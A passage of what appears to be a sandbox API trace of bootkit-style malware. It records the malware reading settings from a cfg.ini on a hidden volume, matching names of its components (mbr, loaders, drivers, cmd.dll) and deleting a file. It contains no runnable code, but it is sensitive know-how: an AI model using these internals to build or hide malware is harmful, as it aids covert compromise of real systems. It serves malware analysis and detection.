FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.785] KeLeaveCriticalRegion () [0122.785] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.785] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.785] KeEnterCriticalRegion () [0122.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.785] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d23000 [0122.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.785] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.785] IdePortDispatch () returned 0x103 [0122.785] KeWaitForMutexObject () returned 0x0 [0122.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.786] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.786] IdePortDispatch () returned 0x103 [0122.786] KeWaitForMutexObject () returned 0x0 [0122.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.786] KeLeaveCriticalRegion () [0122.786] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.786] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.786] KeEnterCriticalRegion () [0122.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.786] KeLeaveCriticalRegion () [0122.786] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.786] KeEnterCriticalRegion () [0122.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.786] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.787] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.787] KeLeaveCriticalRegion () [0122.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.787] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.787] KeEnterCriticalRegion () [0122.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.787] ExFreePoolWithTag (P=0xfffffa8003bbc5e0, Tag=0x0) [0122.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.787] KeLeaveCriticalRegion () [0122.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.787] ReleaseMutex (hMutex=0xf0) returned 1 [0122.787] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.787] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.787] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.787] KeEnterCriticalRegion () [0122.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.787] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.787] IdePortDispatch () returned 0x103 [0122.787] KeWaitForMutexObject () returned 0x0 [0122.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.787] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.787] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.787] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.787] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.787] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6010 [0122.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.787] KeLeaveCriticalRegion () [0122.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.787] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.787] KeEnterCriticalRegion () [0122.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.787] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.787] KeLeaveCriticalRegion () [0122.788] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.788] KeEnterCriticalRegion () [0122.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.788] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.788] IdePortDispatch () returned 0x103 [0122.788] KeWaitForMutexObject () returned 0x0 [0122.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.788] KeLeaveCriticalRegion () [0122.788] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.788] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.788] KeEnterCriticalRegion () [0122.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.788] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d24000 [0122.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.788] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.788] IdePortDispatch () returned 0x103 [0122.788] KeWaitForMutexObject () returned 0x0 [0122.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.788] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.788] IdePortDispatch () returned 0x103 [0122.789] KeWaitForMutexObject () returned 0x0 [0122.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.789] KeLeaveCriticalRegion () [0122.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.789] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.789] KeEnterCriticalRegion () [0122.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.789] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.789] KeLeaveCriticalRegion () [0122.789] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.789] KeEnterCriticalRegion () [0122.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.789] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.789] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.789] KeLeaveCriticalRegion () [0122.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.789] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.789] KeEnterCriticalRegion () [0122.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.790] ExFreePoolWithTag (P=0xfffffa8003be6010, Tag=0x0) [0122.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.790] KeLeaveCriticalRegion () [0122.790] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.790] ReleaseMutex (hMutex=0xf0) returned 1 [0122.790] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.790] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.790] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.790] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.790] KeEnterCriticalRegion () [0122.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.790] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.790] IdePortDispatch () returned 0x103 [0122.790] KeWaitForMutexObject () returned 0x0 [0122.790] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.790] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.790] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.790] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.790] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.790] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.790] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.790] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.790] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.790] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.790] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.790] KeLeaveCriticalRegion () [0122.790] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.790] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.790] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.791] KeEnterCriticalRegion () [0122.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.791] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.791] IdePortDispatch () returned 0x103 [0122.791] KeWaitForMutexObject () returned 0x0 [0122.791] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.791] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.791] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.791] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.791] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.791] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.791] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.791] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.791] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.791] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.791] KeLeaveCriticalRegion () [0122.791] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.791] ReleaseMutex (hMutex=0x100) returned 1 [0122.791] Sleep (dwMilliseconds=0x2bf20) [0122.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c645fd0, dwHighDateTime=0x1d24fa4)) [0122.797] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.797] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.797] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.797] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.798] KeEnterCriticalRegion () [0122.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.798] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.798] IdePortDispatch () returned 0x103 [0122.798] KeWaitForMutexObject () returned 0x0 [0122.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.798] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.798] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.798] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.798] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.798] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7950 [0122.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.798] KeLeaveCriticalRegion () [0122.798] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.798] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.798] KeEnterCriticalRegion () [0122.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.798] KeLeaveCriticalRegion () [0122.798] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.798] KeEnterCriticalRegion () [0122.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.798] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.798] IdePortDispatch () returned 0x103 [0122.798] KeWaitForMutexObject () returned 0x0 [0122.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.799] KeLeaveCriticalRegion () [0122.799] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.799] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.799] KeEnterCriticalRegion () [0122.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.799] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d27000 [0122.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.799] IdePortDispatch () returned 0x103 [0122.800] KeWaitForMutexObject () returned 0x0 [0122.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.801] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.801] IdePortDispatch () returned 0x103 [0122.801] KeWaitForMutexObject () returned 0x0 [0122.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.801] KeLeaveCriticalRegion () [0122.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.801] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.801] KeEnterCriticalRegion () [0122.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.801] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.801] KeLeaveCriticalRegion () [0122.801] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.801] KeEnterCriticalRegion () [0122.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.801] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.801] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.801] KeLeaveCriticalRegion () [0122.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.802] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.802] KeEnterCriticalRegion () [0122.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.802] ExFreePoolWithTag (P=0xfffffa8003be7950, Tag=0x0) [0122.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.802] KeLeaveCriticalRegion () [0122.802] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.802] ReleaseMutex (hMutex=0xf0) returned 1 [0122.802] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.802] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.802] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.802] KeEnterCriticalRegion () [0122.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 